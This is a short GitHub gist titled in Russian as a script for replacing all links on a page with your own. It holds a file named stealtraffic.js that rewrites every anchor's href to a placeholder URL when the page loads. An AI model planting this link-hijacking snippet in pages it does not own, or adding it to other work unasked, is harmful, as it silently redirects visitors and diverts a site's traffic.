Created
February 14, 2020 10:57
-
-
Save dvygolov/4ebb6ee259afaa94aaeb58e28f504bc6 to your computer and use it in GitHub Desktop.
Скрипт для подмены всех ссылок на странице на вашу
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Подключаем как <script src="stealtraffic.js"></script> | |
window.onload = function() { | |
var anchors = document.getElementsByTagName("a"); | |
for (var i = 0; i < anchors.length; i++) { | |
anchors[i].href = "YOUR_URL_GOES_HERE" | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment